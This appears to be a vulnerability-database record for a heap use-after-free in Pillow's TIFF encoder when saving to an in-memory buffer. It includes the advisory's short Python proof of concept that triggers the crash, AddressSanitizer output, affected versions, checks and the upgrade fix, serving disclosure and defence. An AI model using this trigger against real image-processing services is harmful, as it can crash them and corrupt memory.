{"id":"CVE-2026-112396","kind":"vulnerability","aliases":["CVE-2026-112396","GHSA-4rr5-89j8-mwwm"],"related":[],"title":"Pillow: Heap use-after-free when encoding TIFF to an in-memory buffer","description":"### Summary\nSaving an image as TIFF to an in-memory buffer can trigger a heap use-after-free if libtiff rejects a tag at encode time. When `TIFFWriteScanline` fails, the encoder frees its output buffer but leaves the libtiff handle open. Later, when the encoder object is torn down, `TIFFClose` flushes buffered bytes through the write callback and writes into the freed buffer. An application that re-encodes attacker-influenced images to TIFF in memory can be crashed and is a candidate for remote code execution.\n\n### Details\nThe failure path in `ImagingLibTiffEncode` frees `clientstate->data` for the in-memory case but does not close the TIFF or null `clientstate->tiff` (the file-descriptor branch just above it does set `tiff = NULL`):\n\n- `src/libImaging/TiffDecode.c:1041-1046`\n\nTeardown then calls `ImagingLibTiffEncodeCleanup`, which runs `TIFFClose(tiff)` because `tiff` is still set:\n\n- `src/encode.c:99-101`\n- `src/libImaging/TiffDecode.c:955`\n\n`TIFFClose` flushes through `_tiffWriteProc`, which reallocs and memcpys into the freed `state->data`:\n\n- `src/libImaging/TiffDecode.c:103-115`\n\nThe Predictor tag is a convenient trigger: the floating-point predictor (value 3) is invalid for integer sample data, so libtiff aborts the write.\n\n### PoC\n```python\nimport io\nfrom PIL import Image\n\n# In-memory TIFF re-encode. libtiff rejects Predictor=3 (floating point) on integer\n# data, so TIFFWriteScanline fails. The encoder frees clientstate->data but leaves the\n# TIFF open; cleanup's TIFFClose then writes through the callback into the freed buffer.\nim = Image.new(\"L\", (64, 64))\nbuf = io.BytesIO()\nim.save(buf, format=\"TIFF\", compression=\"tiff_lzw\", tiffinfo={317: 3})  # 317 = Predictor\n```\n\nRun it:\n```\n$ python 01_poc.py\nPredictorSetup: Floating point \"Predictor\" not supported with 1 data format.\nOSError: encoder error -2 when writing image file\nSegmentation fault (core dumped)\n```\n\nObserved on a source build of commit `3e2ab96` with libtiff. The process aborts during cleanup after the encoder error. Depending on heap state the same run sometimes reports `corrupted double-linked list` instead of a segfault; both are the same write into freed memory.\n\nUnder AddressSanitizer (build with `-fsanitize=address`), relevant frames:\n```\n==ERROR: AddressSanitizer: heap-use-after-free on address 0x7ef737b48804\nWRITE of size 4 at 0x7ef737b48804 thread T0\n    #1 _tiffWriteProc                 src/libImaging/TiffDecode.c:115\n    #3 TIFFFlush                      libtiff.so.6\n    #5 TIFFClose                      libtiff.so.6\n    #6 ImagingLibTiffEncodeCleanup    src/libImaging/TiffDecode.c:955\n    #7 _dealloc                       src/encode.c:100\nfreed by thread T0 here:\n    #1 ImagingLibTiffEncode           src/libImaging/TiffDecode.c:1045\n    #2 _encode                        src/encode.c:139\npreviously allocated by thread T0 here:\n    #1 ImagingLibTiffEncodeInit       src/libImaging/TiffDecode.c:863\n    #2 PyImaging_LibTiffEncoderNew    src/encode.c:757\nSUMMARY: AddressSanitizer: heap-use-after-free src/libImaging/TiffDecode.c:115 in _tiffWriteProc\n```\nThe buffer allocated in `ImagingLibTiffEncodeInit` is freed in `ImagingLibTiffEncode`, then written by `_tiffWriteProc` during the `TIFFClose` flush that runs from the encoder's `_dealloc`.\n\n### Impact\nUse-after-free in a C extension. Affects any service that converts or thumbnails untrusted images to TIFF in memory (a `BytesIO` or other non-seekable target). Result is a crash and possible memory corruption leading to code execution.","summary":"Pillow's TIFF encoder frees its in-memory output buffer after a libtiff write error, then writes into that freed memory when the encoder is torn down. An application that saves attacker-influenced images as TIFF to an in-memory buffer can be crashed, and the advisory says memory corruption leading to code execution is possible.","severity":"medium","cvss":5.900000095367432,"epss":0.004619999788701534,"exploited":false,"exploited_at":null,"products":[{"name":"pillow","fixed":["13.0.0"],"affected":">= 11.3.0, < 13.0.0","ecosystem":"pypi"}],"ecosystems":["pypi"],"tags":["cwe-416","image-processing","package","pillow","python","thumbnailing"],"not_affected_if":["file-output-only","no-tiff-encoding","no-untrusted-images","pillow-13.0.0-or-later","pillow-below-11.3.0"],"how_to_check":"Run pip show pillow and check whether the version is >= 11.3.0 and < 13.0.0.\nSearch the codebase for TIFF saves to BytesIO or other in-memory targets, e.g. grep -rn \"format=\\\"TIFF\\\"\" and grep -rn \"tiffinfo\".","fix":"Upgrade pillow to 13.0.0 or later.","status":"open","published_at":"2026-10-19T22:17:06+00:00","first_seen_at":"2026-10-23T19:11:32+00:00","triaged_at":"2026-10-23T19:57:57+00:00","updated_at":"2026-10-23T21:57:19+00:00","category":"package","confidence":0.8,"triage":{"at":"2026-10-23T19:57:58Z","model":"claude-haiku-5-5","output":{"fix":"Upgrade pillow to 13.0.0 or later.\nUnknown whether a workaround exists short of upgrading.","summary":"Pillow's TIFF encoder frees its in-memory output buffer after a libtiff write error, then writes into that freed memory when the encoder is torn down. An application that saves attacker-influenced images as TIFF to an in-memory buffer can be crashed, and the advisory says memory corruption leading to code execution is possible.","category":"package","who_cares":["python","pillow","image-processing","thumbnailing"],"confidence":0.8,"analyst_note":"","how_to_check":"Run pip show pillow and check whether the version is >= 11.3.0 and < 13.0.0.\nSearch the codebase for TIFF saves to BytesIO or other in-memory targets, e.g. grep -rn \"format=\\\"TIFF\\\"\" and grep -rn \"tiffinfo\".\nunknown for whether a given deployment reaches this path with untrusted input.","needs_analyst":false,"not_affected_if":["pillow-below-11.3.0","pillow-13.0.0-or-later","no-tiff-encoding","no-untrusted-images","file-output-only"],"severity_if_unknown":"unknown"},"cost_usd":0.000562,"input_tokens":3460,"output_tokens":432,"severity_before":"medium"},"analyst_status":null,"analyst_note":null,"search":"'-101':241C '-1046':225C '-112396':18A,26A '-115':259C '-2':370C '-2026':17A,25A '-416':29B '01_poc.py':356C '0x7ef737b48804':442C,448C '1':364C,451C,476C,490C '100':470C '103':258C '1041':224C '1045':479C '115':454C,507C '139':483C '2':480C,494C '3':273C,303C,350C,455C '317':349C,351C '3e2':386C '4':446C '4rr5':21A '5':459C '6':458C,462C,463C '64':337C,338C '7':467C '757':498C '863':493C '89j8':22A '955':243C,466C '99':240C 'ab96':387C 'abort':282C,392C 'address':430C,441C 'addresssanit':426C,434C,500C 'advisori':86B 'affect':543C 'alloc':485C,512C 'applic':66B,162C 'attack':70B,168C 'attacker-influenc':69B,167C 'branch':215C 'buf':339C,342C 'buffer':15A,47B,80B,107C,132C,149C,160C,333C,511C 'build':383C,427C 'byte':150C 'bytesio':557C 'c':541C 'call':228C 'callback':154C,329C 'candid':181C 'case':200C 'cleanup':322C,394C 'clientstat':193C,209C,315C 'close':204C 'code':92B,184C,574C 'commit':385C 'compress':345C 'conveni':265C 'convert':547C 'core':377C 'corrupt':89B,408C,571C 'crash':83B,177C,567C 'cve':16A,24A 'cwe':28B 'data':194C,256C,279C,308C,316C,365C 'dealloc':468C,533C 'depend':399C 'descriptor':214C 'detail':186C 'doubl':410C 'double-link':409C 'dump':378C 'encod':8A,40B,61B,122C,128C,142C,166C,299C,313C,368C,397C,481C,531C 'error':52B,369C,398C,433C 'execut':93B,185C,575C 'extens':542C 'fail':126C,311C 'failur':188C 'fault':376C 'file':213C,374C 'file-descriptor':212C 'float':269C,304C,358C 'floating-point':268C 'flush':148C,245C,526C 'format':343C,366C 'frame':432C 'free':6A,41B,115C,129C,192C,314C,439C,505C,538C 'freed':57B,159C,254C,332C,423C,471C,516C 'fsanit':429C 'ghsa':20A 'ghsa-4rr5-89j8-mwwm':19A 'handl':137C 'heap':2A,111C,401C,436C,502C 'heap-use-after-fre':435C,501C 'im':334C 'im.save':341C 'imag':31B,72B,99C,170C,292C,373C,551C 'image-process':30B 'image.new':335C 'imaginglibtiffencod':191C,477C,518C 'imaginglibtiffencodecleanup':229C,464C 'imaginglibtiffencodeinit':491C,514C 'impact':534C 'import':287C,291C 'in-memori':12A,43B,77B,104C,197C,293C 'influenc':71B,169C 'instead':413C 'integ':277C,307C 'invalid':275C 'io':288C 'io.bytesio':340C 'l':336C 'later':139C 'lead':90B,572C 'leav':134C,318C 'libtiff':50B,117C,136C,281C,300C,389C 'libtiff.so':457C,461C 'libtiffencodernew':496C 'link':411C 'list':412C 'lzw':347C 'memcpi':251C 'memori':14A,45B,58B,79B,88B,106C,174C,199C,295C,424C,555C,570C 'mwwm':23A 'non':561C 'non-seek':560C 'null':208C,222C 'object':143C 'observ':379C 'open':138C,321C 'oserror':367C 'output':46B,131C 'packag':33B 'path':189C 'pil':290C 'pillow':1A,27A,34B,37B 'poc':285C 'point':270C,305C,359C 'possibl':95B,569C 'predictor':261C,271C,302C,352C,360C 'predictorsetup':357C 'previous':484C 'process':32B,391C 'pyimag':495C 'python':35B,286C,355C 're':165C,298C 're-encod':164C,297C 'realloc':249C 'reject':118C,301C 'relev':431C 'remot':183C 'report':407C 'result':564C 'run':231C,353C,405C,528C 'sampl':278C 'save':68B,97C 'say':87B 'seekabl':562C 'segfault':416C 'segment':375C 'servic':545C 'set':220C,238C 'size':445C 'sometim':406C 'sourc':382C 'src/encode.c':239C,469C,482C,497C 'src/libimaging/tiffdecode.c':223C,242C,257C,453C,465C,478C,492C,506C 'state':255C,402C 'still':237C 'summari':96C,499C 'support':362C 't0':450C,474C,488C 'tag':120C,262C 'target':563C 'teardown':226C 'thread':449C,473C,487C 'thumbnail':36B,549C 'tiff':9A,39B,74B,101C,172C,206C,210C,221C,233C,235C,296C,320C,344C,346C,553C 'tiffclos':147C,232C,244C,324C,460C,525C 'tiffflush':456C 'tiffinfo':348C 'tiffwriteproc':247C,452C,509C,522C 'tiffwritescanlin':125C,310C 'time':123C 'torn':63B,145C 'trigger':109C,266C 'untrust':550C 'use':4A,113C,437C,503C,536C 'use-after-fre':3A,112C,535C 'valu':272C 'write':51B,54B,153C,156C,284C,326C,372C,421C,443C 'written':520C","nicknames":[],"mitigations":[],"who_affected":null,"tier":"C","verified":{},"analyst_revisit_at":null,"first_public_at":"2026-10-19T22:17:06+00:00","kev":null,"cvss_vector":"CVSS:3.1/AV:N/AC:H/PR:N/UI:N/S:U/C:N/I:N/A:H","cvss_by":"GitHub","poc_count":0,"sources":[{"source":"ghsa","external_id":"GHSA-4rr5-89j8-mwwm","url":"https://github.com/advisories/GHSA-4rr5-89j8-mwwm","severity":"medium","published_at":"2026-10-21T21:24:19+00:00","modified_at":"2026-10-21T21:24:20+00:00","first_seen_at":"2026-10-23T19:11:32+00:00","fetched_at":"2026-10-23T19:11:32+00:00","note":null},{"source":"nvd","external_id":"CVE-2026-112396","url":"https://nvd.nist.gov/vuln/detail/CVE-2026-112396","severity":null,"published_at":"2026-10-19T22:17:06+00:00","modified_at":"2026-10-20T19:50:26+00:00","first_seen_at":"2026-10-23T21:57:19+00:00","fetched_at":"2026-10-23T22:28:57+00:00","note":null}],"documents":[],"notice":"Free to read at a human pace. An API with keys and an MCP server are in preparation; early access: hello@infrastack.ai"}